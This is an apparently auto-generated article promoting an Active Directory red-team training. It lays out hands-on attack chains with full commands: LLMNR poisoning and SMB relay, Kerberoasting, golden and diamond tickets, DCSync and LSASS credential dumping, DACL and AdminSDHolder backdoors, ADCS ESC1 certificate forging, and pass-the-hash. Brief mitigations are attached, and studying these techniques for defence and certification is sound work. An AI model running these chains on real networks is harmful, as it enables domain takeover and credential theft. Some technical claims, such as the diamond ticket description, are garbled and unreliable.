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Introduction:
Active Directory (AD) is the crown jewel of enterprise identity management, and consequently, the primary attack surface in over 80% of data breaches. Adversaries exploit misconfigurations in Kerberos, DACLs, and AD Certificate Services (ADCS) to move laterally, escalate privileges, and persist undetected. This article extracts technical deep-dives from the newly opened training by Ignite Technologies, delivering hands-on commands and step‑by‑step attack chains that mirror real‑world red team engagements.
Learning Objectives:
- Master initial AD exploitation vectors (LLMNR poisoning, SMB relay, AS‑REP roasting) and post‑enumeration using BloodHound.
- Execute advanced Kerberos attacks (Kerberoasting, Golden/Sapphire/Diamond tickets) and credential dumping via Mimikatz and DCSync.
- Implement privilege escalation, DACL abuse, ADCS exploitation, and lateral movement techniques required for OSCP, CRTP, and CRTE certifications.
You Should Know:
- Initial Active Directory Exploitation – LLMNR/NBT‑NS Poisoning & SMB Relay
Step‑by‑step guide: Attackers often start on an internal network by spoofing link‑local multicast name resolution (LLMNR) and NetBIOS. When a victim mistypes a UNC path, their machine broadcasts a name‑resolution request. Responder captures this hash, and with SMB relay, you can forward authentication to another target.
Linux (Responder + ntlmrelayx):
sudo responder -I eth0 -dwPv Poison LLMNR/NBT‑NS In another terminal: sudo ntlmrelayx.py -tf targets.txt -smb2support Relay hashes to SMB targets
Windows (Inveigh – PowerShell):
Import-Module .\Inveigh.ps1; Start-Inveigh -LLMNR Y -NBNS Y -ConsoleOutput Y
Mitigation: Disable LLMNR and NBT‑NS via Group Policy (Computer Config → Administrative Templates → Network → DNS Client → Turn off multicast name resolution).
2. Post‑Enumeration with BloodHound & PowerView
After gaining a foothold, you must map AD object relationships to find attack paths. BloodHound uses collectors like SharpHound to graph user, group, ACL, and computer relationships.
Collect data (from compromised Windows host):
Using SharpHound.exe (binary) SharpHound.exe -c All --domain example.com --zipfilename data.zip Using PowerView (in-memory) Import-Module .\PowerView.ps1; Get-NetUser | Select-Object samaccountname, description
Import into BloodHound (Linux with Neo4j):
sudo neo4j console Then upload data.zip via BloodHound UI (default creds neo4j:neo4j) Run analysis: "Find Shortest Paths to Domain Admins" or "List Kerberoastable Users"
This reveals high‑value targets like users with `AdminCount=1` or those having `GenericAll` rights over privileged groups.
- Abusing Kerberos – AS‑REP Roasting, Kerberoasting, and Golden/Sapphire/Diamond Tickets
Kerberos misconfigurations are gold. AS‑REP roasting targets users without pre‑authentication – their encrypted timestamp can be cracked offline. Kerberoasting extracts service account hashes (RC4_HMAC) for cracking.
AS‑REP Roast (Linux – Impacket):
impacket-GetNPUsers example.com/ -usersfile users.txt -format hashcat -outputfile asrep.hashes
Kerberoast (Windows – Rubeus):
Rubeus.exe kerberoast /outfile:kerb.hashes /rc4opsec
Golden Ticket (forge a domain admin TGT – requires krbtgt hash):
mimikatz.exe "kerberos::golden /domain:example.com /sid:S-1-5-21-... /krbtgt:hash /user:Administrator /id:500 /ptt" exit
Diamond Ticket (request TGT using domain user hash without touching DC):
Rubeus.exe diamond /krbkey:... /user:anyuser /domain:example.com /dc:DC.example.com /ptt
Sapphire Ticket (similar to Diamond but with extra PAC forging). Mitigation: Use Group Managed Service Accounts (gMSA), enforce AES encryption, and rotate krbtgt password twice.
- Advanced Credential Dumping – DCSync and LSASS Memory
Once you have Domain Admin or equivalent, DCSync (replication rights) allows you to extract all domain password hashes without touching a single DC’s hard drive.
From Windows (Mimikatz – DCSync):
mimikatz.exe "lsadump::dcsync /domain:example.com /user:krbtgt" exit mimikatz.exe "lsadump::dcsync /domain:example.com /user:Administrator" exit
Dump LSASS (procdump + mimikatz):
procdump64.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit
Linux – using Impacket secretsdump (requires admin share):
impacket-secretsdump example.com/[email protected] -just-dc
Defend: Enable Windows Defender Credential Guard, restrict DCSync rights to only essential admins, and use LAPS for local admin passwords.
5. Privilege Escalation via DACL Abuse & AdminSDHolder
Discretionary Access Control Lists (DACLs) often grant unintended WriteOwner, WriteDacl, or `GenericAll` rights. Abuse these to add yourself to privileged groups.
Using PowerView to find vulnerable ACLs:
Find ACLs where current user has WriteOwner on a group
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -eq "youruser"}
Abuse GenericAll on a user to change their password
Set-DomainUserPassword -Identity targetuser -NewPassword (ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force) -Verbose
AdminSDHolder abuse – add a user with `AdminCount` to persist privilege:
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=example,DC=com" -PrincipalIdentity "hacker" -Rights All
This propagates to all protected groups (Domain Admins, etc.) every 60 minutes.
- ADCS Attacks – ESC1 & ESC8 (Certified Pre-Owned)
Active Directory Certificate Services (ADCS) misconfigurations allow authentication via certificates. ESC1: A template with `Client Authentication` and `Enrollee Supplies Subject` enabled – an attacker can request a certificate for any user (e.g., Domain Admin).
Using Certipy (Linux):
certipy find -u [email protected] -p password -dc-ip 192.168.1.10 -vulnerable If ESC1 found, request a certificate for Domain Admin: certipy req -u [email protected] -p password -ca CA-NAME -template VulnTemplate -alt administrator certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10
ESC8 (web enrollment endpoint – NTLM relay): Attackers force a Domain Controller to authenticate to a malicious relay server, capturing certificates. Mitigation: Disable HTTP-based enrollment, enforce certificate manager approval, and use `-ExtendedKeyUsage` restrictions.
7. Lateral Movement – Pass‑the‑Hash, PSExec, and WMI
Once you have NTLM hashes (not necessarily cleartext passwords), move across the network without cracking.
Pass‑the‑Hash (Linux – Impacket):
impacket-psexec -hashes :aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c [email protected]
Pass‑the‑Hash (Windows – Mimikatz):
mimikatz "sekurlsa::pth /user:administrator /domain:example.com /ntlm:8846f7eaee8fb117ad06bdd830b7586c" exit Then use PsExec or enter-pssession with the spawned cmd
WMI lateral movement (PowerShell):
$cred = Get-Credential; Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami }
Defense: Enable SMB signing, use Protected Users group, and disable NTLM where possible.
What Undercode Say:
- Key Takeaway 1: The modern AD kill chain is no longer just about `net group` and
psexec. Real‑world breaches rely on Kerberos delegation, ADCS certificate forging, and ACL backdoors – all covered in the Ignite Technologies training. The inclusion of Sapphire & Diamond ticket attacks shows they keep pace with the latest research (e.g., SpecterOps’s toolkit). - Key Takeaway 2: Hands‑on labs mimicking OSCP/CRTP scenarios are indispensable. The training’s bonus sessions on DACL abuse and ADCS (ESC1, ESC8) fill critical gaps often ignored by standard courses. For defenders, understanding these attacker techniques is equally vital – you cannot protect what you do not know how to break.
Analysis (10 lines):
This training announcement reflects a maturing red team market – no more basic AD enumeration; hiring managers now demand proof of Kerberos roasting, DCSync, and custom Silver/Golden ticket crafting. The listed modules (post‑enumeration, credential dumping, persistence) align directly with the MITRE ATT&CK framework (T1558, T1003, T1098). For offensive professionals, mastering these steps transforms you from a script‑kiddie tool runner into a threat actor emulator. Defensively, each technique has a clear countermeasure (e.g., enable Kerberos armoring – FAST, disable RC4, enforce SMB signing). The limited‑seat batch suggests intensive instructor interaction – crucial for troubleshooting complex attacks like ADCS ESC4 (vulnerable ACL on CA server). If you are preparing for OSCP, note that OffSec now includes AD sets similar to these; CRTP explicitly tests DACL abuse. Finally, the inclusion of WhatsApp and direct email indicates a community‑focused delivery, which is ideal for post‑training Q&A.
Expected Output:
Example output from Kerberoasting using Rubeus: [] Action: Kerberoasting [] Fetching domain information... [] Domain: example.com (EXAMPLE) [] SamAccountName : sql_svc [] DistinguishedName : CN=sql_svc,CN=Users,DC=example,DC=com [] ServicePrincipalName : MSSQLSvc/sql01.example.com:1433 [] Hash : $krb5tgs$23$sql_svc$example.com$... (crackable with hashcat -m 13100)
This hash can be cracked offline using hashcat -m 13100 hash.txt rockyou.txt.
Prediction:
As Microsoft pushes cloud‑native solutions (Entra ID, Windows Hello for Business), legacy AD on‑premises will become a heterogeneous hybrid beast. Attackers will increasingly chain on‑prem ADCS certificate theft to cloud privileges (e.g., using PTA/PHS sync). Expect the next wave of AD training to focus on hybrid identity hardening (Azure AD Connect misconfigurations) and cross‑tenant attacks. Moreover, tools like BloodHound Enterprise and PurpleKnight will automate detection, forcing red teams to master “living off the land” (LOLBAS) and unmanaged Kerberos trust abuse. The techniques taught today – Sapphire tickets, ADCS ESC8 – will remain relevant for at least 5 years as many enterprises still run Windows Server 2016/2019 with default settings. Those who complete this training will be the ones writing the detections, not just running them.
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